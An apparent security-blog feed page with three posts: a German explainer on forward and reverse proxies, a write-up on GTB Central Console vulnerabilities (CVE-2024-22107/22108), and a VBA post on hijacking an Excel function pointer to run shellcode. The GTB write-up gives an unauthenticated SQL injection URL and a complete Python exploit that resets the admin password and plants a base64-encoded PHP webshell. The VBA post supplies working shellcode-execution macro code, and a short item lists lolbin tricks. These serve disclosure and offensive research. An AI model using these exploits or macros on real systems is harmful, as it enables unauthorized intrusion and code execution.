Der Beitrag Proxies: Die unsichtbaren Helfer des Internetverkehrs erschien zuerst auf HanseSecure GmbH.

Proxies: Die unsichtbaren Helfer des Internetverkehrs

By: kugler
15 February 2024 at 09:41

Warum ein Reverse Proxy ein Muss fΓΌr Ihre IT-Sicherheit ist

TL;DR:

Proxy-Server fungieren als Vermittler zwischen Clients und Servern, verbessern die Sicherheit, optimieren die Leistung und ermΓΆglichen eine effiziente Ressourcennutzung. Es gibt zwei Hauptarten: Forward-Proxys, welche ausgehenden Verkehr von Clients zum Internet routen und Reverse-Proxys, welche eingehenden Verkehr von Clients zu Backend-Servern lenken.

Was ist ein Forward-Proxy:

Ein Forward-Proxy ist ein Server, der zwischen Clients und dem Internet positioniert ist und den ausgehenden Verkehr der Clients routet. Dieser agiert im Namen der Clients, indem er deren Anfragen weiterleitet und ihre IdentitΓ€t verbirgt. Dadurch ermΓΆglicht der Forward-Proxy die Kontrolle des Internetzugriffs, die Durchsetzung von Sicherheitsrichtlinien und die Verbesserung der PrivatsphΓ€re.

In einer herkΓΆmmlichen Internetkommunikation wenden sich Benutzer (User A & User B) an den Server (Server A & B), indem sie Anfragen direkt an diese senden und von ihnen Antworten erhalten. Wenn jedoch ein Forward Proxy eingerichtet ist, senden Benutzer ihre Anfragen stattdessen zuerst an diesen Proxy. Der Forward Proxy leitet dann die Anfrage an die entsprechenden Server weiter und empfΓ€ngt von ihnen die Antworten, die er dann an die Benutzer zurΓΌcksendet.

Was ist ein Reverse-Proxy

Ein Reverse-Proxy ist ein Server, welcher vor Backend-Servern positioniert ist und den eingehenden Verkehr von Clients an diese Server weiterleitet. Dieser fungiert als Vermittler zwischen den Clients und den Backend-Servern, verbessert die Sicherheit, optimiert die Lastverteilung und bietet Funktionen wie SSL-Terminierung und Caching.

Normalerweise kommunizieren Benutzer (User A & B) direkt mit Servern (Server A & B), wobei Anfragen von den Benutzern an die Server gesendet werden und die Server direkt antworten. Wenn jedoch, ein Reverse-Proxy verwendet wird, gehen alle Benutzeranfragen zuerst an den Reverse-Proxy. Dieser leitet die Anfragen an die Server weiter und empfÀngt die Antworten. Anschließend leitet der Proxy die entsprechenden Antworten zurück an die Benutzer.

Unterschiede zwischen Forward und Reverse Proxy:

Die Hauptunterschiede liegen in ihrer Ausrichtung und Funktionsweise: Ein Forward-Proxy leitet den Verkehr von innen nach außen weiter, wÀhrend ein Reverse-Proxy den Verkehr von außen nach innen lenkt.

Forward-Proxys werden typischerweise von ClientgerΓ€ten verwendet, um auf das Internet zuzugreifen, wΓ€hrend Reverse-Proxys hΓ€ufig in Serverinfrastrukturen eingesetzt werden, um den eingehenden Verkehr zu verwalten.

Einsatzgebiete des Reverse Proxy:

GrundsΓ€tzlich dient ein Reverse Proxy als zusΓ€tzliche Sicherheitsschicht, um Angriffe abzuwehren, sensible Daten zu schΓΌtzen und ZugriffsbeschrΓ€nkungen zu implementieren.

  • FlexibilitΓ€t bei der Authentifizierungsmethode
    Der Reverse Proxy ermΓΆglicht die Implementierung verschiedener Authentifizierungsmethoden wie HTTP Basic Auth, Digest Auth, OAuth, LDAP-Integration usw. Je nach den Anforderungen der Anwendung und den Sicherheitsrichtlinien des Unternehmens kΓΆnnen geeignete Authentifizierungsmethoden ausgewΓ€hlt und konfiguriert werden.
  • Verzeichnisse sperren
    Durch die Konfiguration des Reverse Proxys kΓΆnnen bestimmte Verzeichnisse oder Dateien auf dem Server hinter dem Proxy gesperrt werden, um unerwΓΌnschten Zugriff zu verhindern und sensible Informationen zu schΓΌtzen.
  • IP-Eingrenzung
    Der Reverse Proxy kann den Zugriff basierend auf IP-Adressen einschrΓ€nken, um nur bestimmten IP-Bereichen oder vertrauenswΓΌrdigen Quellen den Zugriff zu gestatten und potenzielle Angreifer abzuwehren.
  • SSL-Terminierung und Caching
    Der Reverse-Proxy kann SSL/TLS-EntschlΓΌsselung durchfΓΌhren und hΓ€ufig angeforderte Inhalte zwischenspeichern, um die Antwortzeiten zu verbessern.
  • Einfache Konfiguration und Skalierbarkeit
    Die Implementierung von Authentifizierung auf Ebene des Reverse Proxys erleichtert die Konfiguration und Skalierung der Sicherheitsinfrastruktur. Da der Proxy die Anfragen abfΓ€ngt, kΓΆnnen Sicherheitsrichtlinien und Authentifizierungseinstellungen zentral verwaltet und auf alle eingehenden Anfragen, unabhΓ€ngig von den dahinterliegenden Servern, angewendet werden.
  • Schutz vor Angriffen und Missbrauch
    Der Reverse Proxy schΓΌtzt die Backend-Server vor Brute-Force-Angriffen, unbefugtem Zugriff und anderen Formen von Missbrauch. Durch die Verwendung von Captchas, Zwei-Faktor-Authentifizierung und anderen Sicherheitsmechanismen kann die Sicherheit weiter erhΓΆht werden.
  • Load Balancing
    Einige Reverse-Proxys kΓΆnnen auch als Lastenausgleich fungieren und den Datenverkehr auf mehrere Server verteilen. Dies kann sicherstellen, dass kein einzelner Server ΓΌberlastet wird und Benutzeranfragen ohne VerzΓΆgerung bearbeitet werden kΓΆnnen.

Warum sich der Einsatz fΓΌr Ihr Unternehmen lohnt:

  • Ihr Unternehmen profitiert von der verbesserten Sicherheit, Leistung und Skalierbarkeit, die ein Reverse-Proxy bietet.
  • Sie kΓΆnnen ihre Serverressourcen effizienter nutzen, Angriffe abwehren und die Benutzererfahrung verbessern.
  • Durch die Implementierung eines Reverse-Proxys kΓΆnnen Unternehmen ihren IT-Sicherheitsstandard erhΓΆhen und somit auch die Kundenzufriedenheit steigern.

Bei der Implementierung unterstΓΌtzen wir sie jederzeit.

Ausblick:

In unserem nΓ€chsten Blog-Beitrag beleuchten wir, wie Sie ganz einfach und kostenlos Ihren eigenen Reverse Proxy Server einrichten. Das dΓΌrfen Sie nicht verpassen!

Β 

Der Beitrag Proxies: Die unsichtbaren Helfer des Internetverkehrs erschien zuerst auf HanseSecure GmbH.

A christmas tale: pwning GTB Central Console (CVE-2024-22107 & CVE-2024-22108)

23 January 2024 at 00:00

Dear Fellowlship, today’s homily is about the paradox of how adding security solutions to your infrastructure increases the vulnerable surface.

Prayers at the foot of the Altar a.k.a. disclaimer

This article was written the 28th of December when the vulnerabilities were reported to the vendor. It was only edited to add the CVE identifiers.

I want to highlight how fast they created an issue in their TODO for next release and how fast they fixed the issues. I wish more companies were so inclined to take it seriously like this did. Kudos to their developers!

Overture

Every time I see a new software during a Red Team operation I annotate it on my Obsidian so when I have free time, or I am a bit sad, I pick one of the list and try to pwn it. As I spent christmas holidays alone at 1000Km from my family both conditions were met. I decided to target a DLP software called β€œGTB” that is advertised in their website as the Top #1 Data Loss Prevention solution. Usually pwning a DLP console means pwning the whole domain because it gives you access to tons of stuff: credentials, execute code via agents in workstations, read/send mails, etc.

Top 1 DLP solution
Top 1 DLP Solution

The trial version of β€œGTB Central Console” is a ISO that can be downloaded from their website.

1st movement: The Jailbreak

I installed the ISO (it is a custom CentOS 7) in a VM with VirtualBox, and I set a bridged network to access the exposed ports from my laptop. After the installation it prompts you for credentials:

Login
Asking for credentials. The "pwned" is because I took the screenshot after pwning it :).

I found the credentials in a turkish website (wizard / password!@@@). The user wizard executes a configuration program instead of a shell when you log in:

Configuration
Program to configure the platform.

At this point I had two potential paths to follow:

  • A) Try to find a command injection to jailbreak it. In a black box can be boring to throw payloads until something works.
  • B) Try to get a root shell modifying Grub2.

I always try the second option because is the fastest. In this case the grub was password protected so I could not edit the options directly. But do not worry: I just booted a Ubunutu Live CD to replace the grub password for one known by me:

mkdir /mnt/pwned
mount /dev/sda1 /mnt/pwned

Then user.cfg was edited to replace the hash with one generated with grub-mkpasswd-pbkdf2. Once the password was replaced the VM was rebooted and when the OS selection appeared I hitted e to enter in the edit mode. Then I proceeded to modify the linux16... line to add the well-known init=/bin/bash at the end. Finish with crtl + x and you would have a root shell :D.

root shell
Unrestricted root shell :D

My intention was to access this box using SSH from my laptop, so I wanted to create a new user and give it sudo privileges. But at this stage the OS is loaded as read-only, so I needed to remount the / as rw:

mount -o remount,rw /

At this point is I just added the user and gave it sudo perms. Finally I just rebooted the VM.

Validating the new user
Validating the new user

I checked that the SSH service was accesible via the bridged-interface (as curious note the SSH server is at port 1122 instead of 22):

psyconauta@insulanova:~/Research/dlp|β‡’  nmap  192.168.0.18 -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-27 14:26 CET
Nmap scan report for insulatergum (192.168.0.18)
Host is up (0.00011s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE  VERSION
80/tcp   open  http     nginx
443/tcp  open  ssl/http nginx
1122/tcp open  ssh      OpenSSH 7.4 (protocol 2.0)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.26 seconds

Connect and enjoy the jailbreak:

Jailbreaked!
Jailbreaked!

Now we can comfortably analyze all the file system and the services running on this platform.

2nd movement: The Dance of the Single Quote

When you visit the web interface you can see that 3 requests are automatically fired:

Initial requests
Initial requests

These requests are done before any authentication is made so these files are good candidates to peek an eye to look for vulnerabilities triggeables without auth. The ccapi.php file:

<?php
require_once dirname(__FILE__) . '/../lib/util/simplemongophp/Db.php';
require_once dirname(__FILE__) . '/../lib/PureApi/CCApi.class.php';

$pureApiObject = new CCApi();

$request = $_REQUEST;
$action  = $request['action'] ?? '';

header('Content-Type: text/json');

if (is_array($action)) {
    // multi action API
    $result = [];
    foreach ($action as $actionItem) {
        $realActionItem = $actionItem;
        $actionItem     .= 'Action';
        if (($actionItem != 'Action') && method_exists($pureApiObject, $actionItem)) {
            $result[$realActionItem] = $pureApiObject->$actionItem($request);
        } else {
            $result[$realActionItem] = [
                'error' => $actionItem . ' not defined!',
            ];
        }
    }
    echo json_encode($result, JSON_UNESCAPED_UNICODE);
} else {
    $action .= 'Action';
    if (($action != 'Action') && method_exists($pureApiObject, $action)) {
        echo json_encode($pureApiObject->$action($request), JSON_UNESCAPED_UNICODE);
    } else {
        echo json_encode([
            'error' => $action . ' not defined!',
        ], JSON_UNESCAPED_UNICODE);
    }
}

As we can see, the code loads two other PHP file, then check for the parameter action and concatenate the Action string to it. After that it check if exists a method with that name. If exists, then the method is called reusing the original parameters. For example, the request shown in the burp screenshot would end calling $object->getTermsAction($request). We can see this method at CCApi.class.php:

//...
    public function getTermsAction($request): array
    {
        return [
            'data' => file_exists('/opt/webapp/data/terms/terms.html') ? file_get_contents('/opt/webapp/data/terms/terms.html') : '',
            'hash' => file_exists('/opt/webapp/data/terms/terms.html') ? md5_file('/opt/webapp/data/terms/terms.html') : '',
        ];
    }
//...

Nothing interesting. But… and here comes the plot twist: just below there is a method called setTermAction that is driving a DeLorean to bring back from the past a beautiful SQL injection:

    public function setTermsHashAction($request): array
    {
        $resource = self::initPgConnection();

        if (!$request['userId']) {
            throw new \Exception('update term hash failed. UserId not specified');
        }

        $query = '
          UPDATE users 
          SET term_hash = \'' . ($request['hash'] ?? '') . '\'
          WHERE user_id = ' . $request['userId'] . ';
        ';

        $res = pg_query($resource, $query);

        if ($res === false) {
            throw new \Exception('update term hash failed.' . pg_last_error($resource));
        }

        @exec('sh /opt/webapp/shell/sync_users.sh');

        return [
            'status' => true,
            'hash'   => file_exists('/opt/webapp/data/terms/terms.html') ? md5_file('/opt/webapp/data/terms/terms.html') : '',
        ];
    }

Because I was not sure if I could update two columns at same time in postgresql, I had to ask to my friend @xassiz and he confirmed it was possible. So we have the next injection:

UPDATE users SET term_hash = 'X',arbitrary_column='arbitrary_value' WHERE user_id = 'Y';

Is there any column worth to be updated? (well… the table is called users so I guess you know how this will end, but not spoilers). Let’s find how to connect to the database:

[root@pwned webapp]# grep -ri psql | grep sh
ccup:	/usr/bin/psql -p $POSTGRES_PORT -U postgres postgres -c "ALTER USER \"$DB_NAME\" WITH PASSWORD 'dashboard';" > /dev/null
ccup:		/usr/bin/psql -p $POSTGRES_PORT -U postgres postgres -c "CREATE USER \"$DB_NAME\" WITH PASSWORD 'dashboard';" > /dev/null
ccup:	/usr/bin/psql -t -p $POSTGRES_PORT -U postgres postgres -c "SELECT datname FROM pg_database WHERE datistemplate = false AND datname LIKE 'dashboard%';"
ccup:	/usr/bin/psql -p $POSTGRES_PORT -U postgres postgres -c "ALTER USER \"$DB_NAME\" WITH PASSWORD 'dashboard';"
rpm_install/cc.service.functions:		psql -U dashboard -d dashboard  -c "ALTER TABLE events SET WITHOUT OIDS;ALTER TABLE inspector_event SET WITHOUT OIDS;" > /dev/null
rpm_install/cc.service.functions.uninstall:		psql -U dashboard -d dashboard  -c "ALTER TABLE events SET WITHOUT OIDS;ALTER TABLE inspector_event SET WITHOUT OIDS;" > /dev/null
shell/set_timezone:POSTGRES_VERSION=`/usr/bin/psql --version | awk '{print $3}' | awk -F '.' '{print $1}'`
shell/manage_address.sh:	/usr/bin/psql -q -t -p 17023 -U postgres dashboard -c "INSERT INTO configuration_network (id, dns_server) SELECT 16, '$_ADDRESS' WHERE NOT EXISTS (SELECT id FROM configuration_network WHERE id = 16);"
shell/manage_address.sh:	/usr/bin/psql -q -t -p 17023 -U postgres dashboard -c "UPDATE configuration_network SET dns_server = '$_ADDRESS' WHERE id = 16 AND dns_server='';"
shell/manage_address.sh:	_fp_storage=`/usr/bin/psql -q -t -p 17023 -U postgres dashboard -c "SELECT dbhost FROM scan_config_fpstorage;" | head -1 | sed -e "s/[\"\' \t]//g"`
shell/manage_address.sh:		/usr/bin/psql -q -t -p 17023 -U postgres dashboard -c "UPDATE scan_config_fpstorage SET dbhost='$_ADDRESS';"
shell/manage_address.sh:		_ADDRESS=`/usr/bin/psql -q -t -p 17023 -U postgres "dashboard" -c "SELECT dns_server FROM configuration_network WHERE id = 16;" | sed '/^$/d' | sed -e "s/[\"\' \t]//g"`
shell/manage_address.sh:	echo "Address in the database = "`/usr/bin/psql -q -t -p 17023 -U postgres "dashboard" -c "SELECT dns_server FROM configuration_network WHERE id = 16;" | sed '/^$/d' | sed -e "s/[\"\' \t]//g"`
src/AppBundle/Service/Backup.php:        exec('/usr/bin/psql -p 17023 -U postgres postgres -c "CREATE DATABASE ' . $this->postgresDB . ' WITH OWNER = dashboard;" 2>&1', $output, $return_var);
src/AppBundle/Service/Backup.php:            '/usr/bin/psql -p 17023 -U postgres postgres -d dashboard -c "DELETE FROM agents WHERE is_installed=true" 2>&1',
src/AppBundle/Service/Backup.php:        exec('/usr/bin/psql -p 17023 -U postgres postgres -c "ALTER USER ' . $this->postgresDB . ' WITH PASSWORD \'dashboard\'" 2>&1', $output, $return_var);
src/AppBundle/Service/Backup.php:        exec('/usr/bin/psql -p 17023 -U postgres postgres -c "ALTER USER ' . $this->postgresDB . ' WITH PASSWORD \'dashboard\'" 2>&1', $output, $return_var);

Then:

/usr/bin/psql -q -t -p 17023 -U postgres dashboard

We can see there is a passwd column ;P:

user_id                     | integer                     |              | not null | nextval('users_seq'::regclass)
 login                       | character varying(255)      |              | not null | 
 passwd                      | character varying(50)       |              |          | 
 email                       | character varying(255)      |              |          | 
 name                        | character varying(255)      |              | 
//...

We can see the the password is stored in a format that is hypertensive-friendly because it does not use salt. This hash is just the md5 of password@@@.

dashboard=# select user_id,passwd,email from users;
       1 | fcbde5e75de51ada20eb0594587db6cf | demo@gttb.com

Quick recap: in 10 minutes after the jailbreak I found a unauthenticated SQL injection that can be used to replace the Administrator password to a known value. The exploit is simple as:

/ccapi.php?action=setTermsHash&userId=1&hash=pwned',passwd%3d'[MD5 of the password you want to use]
Logged as Administrator
Administrator take-over!

3rd movement: Oda to Command Injections

All these exec(), system() and passthru() combined with bash scripts makes this a chronicle of a death foretold. I just did a grep and picked the one that looked easier to exploit (/opt/webapp/src/AppBundle/Controller/React/SystemSettingsController.php):

//...
public function systemSettingsDnsDataAction(Request $request)
    {
        /** @var ConfigurationNetworkHandler $cnh */
        $cnh     = $this->container->get('gtb.handler.configuration_network');
        $xaction = $request->request->get('xaction', null);
        if (!$xaction) {
            $content = json_decode($request->getContent(), true);
            $xaction = $content['xaction'];
        }

        /** @var Translator $translator */
        $translator = $this->container->get('translator');

        $ssRepo = $this->getDm()->getRepository('AppBundle:SystemSettings');

        switch ($xaction) {
            case 'read':
                $dns  = $cnh->getDnsServer();
                $data = [
                    'dnsServerIps' => $dns,
                    'cc_name'      => $ssRepo->getParameterByName(SystemSettings::PARAM_CC_NAME)->getValue(),
                    'host_name'    => trim(file_get_contents('/etc/hostname'))
                ];

                return new JsonResponse([
                    'results' => $data
                ]);
            case 'update':
                $data   = json_decode($request->request->get('data', '{}'), true);
                $status = false;

                if (isset($data['dnsServerIps'])) {
                    if (!$this->isMultiTenant()) {
                        $cnh->setDnsServer($data['dnsServerIps']);
                    }
                    $ssRepo->setParameterByName(SystemSettings::PARAM_CC_NAME, $data['cc_name']);
                    if (!$this->isMultiTenant()) {
                        exec('sudo /opt/webapp/shell/set_hostname.sh ' . $data['host_name']);
                    }
//...

Easy to exploit as whatever; my-payload. Unfortunately to interact with this endpoint you need to be authenticated as Administrator. Imagine if you had a vulnerability that would let you replace the Administrator to a known value and then authenticate as him. Oh, wait!.

Coda

This is a simple proof of concept that chains both vulnerabilities to create a webshell in the server.

#!/usr/bin/env python3

# Exploit for GTB Central Console (tested on v15.17.1-30814.NG)
# Author: Juan Manuel Fernandez (@TheXC3LL)



import sys
import requests
import json


if __name__ == "__main__":
    target = sys.argv[1]
    pwd = "196989cdcb8bf751d0513388f30f4783" # xc3ll

    # Exploit Pre-auth SQLi
    print("[*] Exploiting the SQLi...")
    req = requests.get(target + "/ccapi.php?action=setTermsHash&userId=1&hash=pwned',passwd%3d'" + pwd, verify=False)
    if not "true" in req.text:
        print("[!] Error. Exploit failed!\n")
        exit(-1)
    print("[*] Password updated to 'xc3ll'!")

    # Attempt to login
    print("[*] Getting a valid session using the new credentials...")
    form = {
            "_username" : (None, "Administrator"),
            "_password" : (None, "xc3ll")
            }
    headers = {
            "X-Sess-Token" : "pwned"
            }
    req = requests.post(target + "/old/login", files=form, headers=headers, verify=False)
    if "error" in req.text:
        print("[!] Error. Could not authenticate with 'Administrator:xc3ll'")
        exit(-1)
    session = json.loads(req.text)["session"]
    print("[*] Authenticated! session is " + session)

    # Let's exploit the command injection
    print("[*] Exploiting the command injection...")
    payload = '{"dnsServerIps":"8.8.8.8","cc_name":"","host_name":"adeptsof0xcc; echo PD9waHAgc3lzdGVtKCRfR0VUWyJyY2UiXSk7Pz4K| base64 -d   > /opt/webapp/web/pwned.php"}'
    form = {
        "xaction" : (None, "update"),
        "data" : (None, payload)
    }
    headers = {
        "Cookie" : "symfony=" + session + "; session=" + session,
    }
    req = requests.post(target + "/old/react/v1/api/system/dns/data", files=form, headers=headers, verify=False)
    if not "true" in req.text:
        print("[!] Error. Exploit failed!\n")
        exit(-1)
    print("[*] Seems like the webshell was uploaded to " + target + "/pwned.php")
    print("[*] Testing with 'id'...")
    req = requests.get(target + "/pwned.php?rce=id", verify=False)
    if not "nginx" in req.text:
        print("[!] Error. Exploit failed!\n")
    print("[*] It worked! Check output:\n\n" + req.text)
    print("\n\nHave a nice day ^_^")

Fire in the hole!

Kaboom!
Kaboom!

EoF

I know both vulnerabilities are trivial to spot and to exploit, and indeed it was a quick quest: 30 minutes to jailbreak it, 10 minutes to spot the SQLi and 10 minutes to spot the command injection.

But keep this in mind: this platform, and other similars, are widely deployed in corporative infrastructure. Tons of companies run products without knowning how insecure they are just because they are black-boxes that nobody wastes time to check. Most of cyber-cyber-cyber products are just clusterfucks of scripts in bash, perl, python or PHP combined with duct tape waiting to be pwned.

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

2 little secrets of ScriptRunner.exe

By: adam
13 January 2024 at 23:09
ScriptRunner.exe is a known lolbin, but the Lolbas project doesn’t cover all of this program’s features. Timeout It can execute child processes and kill them after a certain timeout f.ex.: ScriptRunner.exe -appvscript cmd.exe -appvscriptrunnerparameters -timeout=5 Multiple invocations It can execute … Continue reading β†’

VBA: having fun with macros, overwritten pointers & R/W/X memory

12 January 2024 at 00:00

Dear Fellowlship, today’s homily is about an epiphany one of our owls had a couple of weekends ago: an alternative way for running shellcodes in macros. Please, take a seat and listen the story.

Prayers at the foot of the Altar a.k.a. disclaimer

I am writing this article because I had fun last weekend researching this and wanted to share my findings. Maybe this could be useful to someone, but to be honest my only intention is to use this post as a note to myself in the future. Keep in mind this is just a proof of concept. Also, if you are going to replicate anything explained here you need to place the code AS A NEW MODULE.

All roads lead to Rome

Generally speaking, to a greater or lesser degree, any macro designed to self-inject a shellcode inside its own process would follow the next steps:

  1. Allocate memory
  2. Copy the shellcode
  3. Set perms
  4. Trigger execution

Of course this is just an extremely summarized view of how this kind of macros works. In our times, where Initial Access has became far more difficult than 5 years ago, additional stuff is needed to setup the injection: unhooking, syscalling, etc.

Previously in this blog I explored different functions that could be used to copy the shellcode to a buffer (β€œOne thousand and one ways to copy your shellcode to memory (VBA Macros)”). About how to trigger execution @nootrak wrote an article called β€œAbusing native Windows functions for shellcode execution”. Years later it was found one of these documented functions (lpLocaleEnumProc) being used by Lazarus group (β€œRIFT: Analysing a Lazarus Shellcode Execution Method”).

My previous article about VBA (β€œVBA: resolving exports in runtime without NtQueryInformationProcess or GetProcAddress”) was based on the premise of being less explicit in the functions that are imported from DLLs. Or, to be more precise, to avoid as much as possible leaving traces in the code of what the macro does. In this case, we reduced as much as necessary and built everything with RtlMoveMemory and DispCallFunc

My quest now takes me down the path of trying to get code execution from an arbitrary memory address without using any of the functions documented by Nootrak.

The art of taming pointers

In essence, if our goal is to get a shellcode executed in the context of our process… Isn’t that exactly what exploiting does? In the end, what we need is to hijack the natural flow of the program so that the execution deviates from its natural course and jumps into our immaculate and perfumed shellcode.

Therefore, the easiest thing to do would be to locate some pointer that we can overwrite that would be used later. But… memory space is dark and full of terrors. How can we find such a thing when VBA holds us captive in its prison?

Let’s reuse part of the code from our previous post:

' The "declares" are needed to keep the layout. It's a long story
Private Declare PtrSafe Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" ( _
                        ByVal Destination As LongPtr, _
                        ByVal Source As LongPtr, _
                        ByVal Length As Long)
                        
Private Declare PtrSafe Function NtClose Lib "ntdll" (ByVal ObjectHandle As LongPtr) As Long
Dim a As LongPtr

Function leak() As LongPtr
    a = 1337
    leak = VarPtr(a)
End Function


Sub test()
    Cells(1, 1) = "0x" & Hex(leak)
End Sub

If we check the address we can see there are a few pointers near:

Pointers near our location
Juicy pointers

To check if any of them were interesting I got a little playful and overwrote them with rubbish to see if Excel would crash because it tried to execute memory at an invalid address. And the best candidate so far was the one highlighted in dark blue/black: 0x02238f....

If we check that address we can see there is another pointer there:

A pointer pointing to a pointer
A pointer pointing to a pointer

And at that location we got an array of pointers to functions in Excel.

Party
Party

If you follow the execution with the debugger you would see that the previous pointer is just the address of the array base, and then it uses an offset to jump to any of the pointers in the array. In this case, it always end jumping at 0xB0. Summarized:

Diagram
Diagram

And to perform the hijack we need something like:

Attack diagram
Attack diagram

We need a buffer of data controlled by us, then place at 0xB0inside the buffer the address where the shellcode is going to be (it can be placed just after the address, so it would be at buffer address + 0xB0 + 8).

At this point you should be thinking something like β€œbut we need to turn the buffer into executable memory”. And you are right, except by the fact that you can find memory with R/W/X perms inside Excel process :)

Who wants to marry my shellcode?

So here comes the second part of the post. To recap we found a reliable way to hijack the program flow in order to jump to whatever we want. And whatever we want is a memory zone that let us write and execute. If we use VirtualQuery we can see that indeed we can find some allocations that fits our needs.

Private Type MEMORY_BASIC_INFORMATION
    BaseAddress As LongPtr
    AllocationBase As LongPtr
    AllocationProtect As Long
    RegionSize As LongPtr
    State As Long
    Protect As Long
    lType As Long
End Type

Private Declare PtrSafe Function VirtualQuery Lib "KERNEL32" (ByVal lpAddress As LongPtr, lpBuffer As MEMORY_BASIC_INFORMATION, ByVal dwLength As LongPtr) As LongPtr

Function getTarget() As LongPtr
    Dim mbi As MEMORY_BASIC_INFORMATION
    Dim ret As LongPtr
    Dim dwLenght As LongPtr
    Dim j As Long
    
    j = 1
    For i = 0 To 50000
        ret = VirtualQuery(addr, mbi, LenB(mbi))
        If mbi.Protect = 64 Then
            Cells(j, 1) = "0x" + Hex(mbi.BaseAddress)
            Cells(j, 2) = "0x" + Hex(mbi.RegionSize)
            j = j + 1
        End If
        addr = mbi.BaseAddress + mbi.RegionSize
    Next i
End Function

Sub test()
    a = getTarget()
End Sub
RWX!
RWX!

If you execute more dummy functions before you would see that the number of suitable allocations is increased.

Keep in mind this is being used by the program, so overwriting it could end in a crash because you corrupted the heap or any data that the program would use later. Be careful, the best is trying to find a region full of zeroes and place there your shellcode. Unfortunately I barely found a region big enough and in all my tests I had to split the shellcode in smaller parts.

If we glue all together:

Private Type MEMORY_BASIC_INFORMATION
    BaseAddress As LongPtr
    AllocationBase As LongPtr
    AllocationProtect As Long
    RegionSize As LongPtr
    State As Long
    Protect As Long
    lType As Long
End Type

Private Declare PtrSafe Function VirtualQuery Lib "KERNEL32" (ByVal lpAddress As LongPtr, lpBuffer As MEMORY_BASIC_INFORMATION, ByVal dwLength As LongPtr) As LongPtr
Private Declare PtrSafe Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" ( _
                        ByVal Destination As LongPtr, _
                        ByVal Source As LongPtr, _
                        ByVal Length As Long)
                        
Private Declare PtrSafe Function NtClose Lib "ntdll" (ByVal ObjectHandle As LongPtr) As Long
Dim a As LongPtr

Function leak() As LongPtr
    Dim funcLeak As LongPtr
    Dim i As LongPtr
    Dim j As Long
    
    For i = 0 To 512 Step 8
        Call CopyMemory(VarPtr(funcLeak), VarPtr(a) + i, 8)
        If Left(Hex(funcLeak), 4) = Left(Hex(VarPtr(a)), 4) Then
            Cells(2, 2) = "0x" & Hex(funcLeak)
            Cells(2, 1) = "0x" & Hex(VarPtr(a))
            Exit For
        End If
    Next i
    leak = funcLeak
End Function

Function getTarget(counter As LongPtr) As LongPtr
    Dim mbi As MEMORY_BASIC_INFORMATION
    Dim ret As LongPtr
    Dim dwLenght As LongPtr
    Dim addr As LongPtr
    Dim check As LongPtr
    Dim j As LongPtr
    Dim k As LongPtr
    Dim napa As LongPtr
    addr = 0
    check = 1337
    
    For i = counter To 10000
        ret = VirtualQuery(addr, mbi, LenB(mbi))
        If mbi.Protect = 64 And mbi.RegionSize > 1024 Then
            For j = 0 To mbi.RegionSize - 100 Step 8
                napa = 1
                For k = 0 To 48 Step 8
                    Call CopyMemory(VarPtr(check), mbi.BaseAddress + j + k, 8)
                    If check <> 0 Then
                        napa = 2
                    End If
                Next k
                If napa = 1 Then
                    getTarget = mbi.BaseAddress + j
                    Exit For
                End If
            Next j
            Exit For
        End If
        addr = mbi.BaseAddress + mbi.RegionSize
    Next i
    Cells(1, 1) = "0x" + Hex(getTarget)
End Function

Sub test()
    Dim jmp As LongPtr
    Dim target As LongPtr
    Dim sc As LongPtr
    Dim check As LongPtr
    Dim buf As Variant
    Dim i As LongPtr
    jmp = leak
    check = 0
    '204 == 0xCC 144 == 0x90
    buf = Array(144, 144, 144, 144, 144, 204, 204, 204)

    target = getTarget(i)
    If target <> 0 Then
        sc = target + 8 + &HB0
        For n = LBound(buf) To UBound(buf)
            Call CopyMemory(sc + n, VarPtr(buf(n)) + 8, 8)
        Next n
    
        Call CopyMemory(target + &HB0, VarPtr(sc), 8)
        Call CopyMemory(jmp, VarPtr(target), 8)
    Else
        MsgBox "Cave not found!"
    End If
End Sub
Shellcode executed!
Shellcode executed!

All that glitters is not gold

This idea has tons of drawbacks. Although I have a reliable way to find the pointer to hijack, if I execute other stuff previously in the same process (e.g. a few innocent macros that do a lot of activity) sometimes (5%) the pointer I abuse is misplaced and I overwrite other that has no effect or it crashes the process.

On the other hand, it can be difficult to handle a big shellcode as it is really easy to overwrite something critical. I am pretty sure there is a way to find suitable regions and avoid this issue, but my knowledge is very light on these matters.

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

❌
❌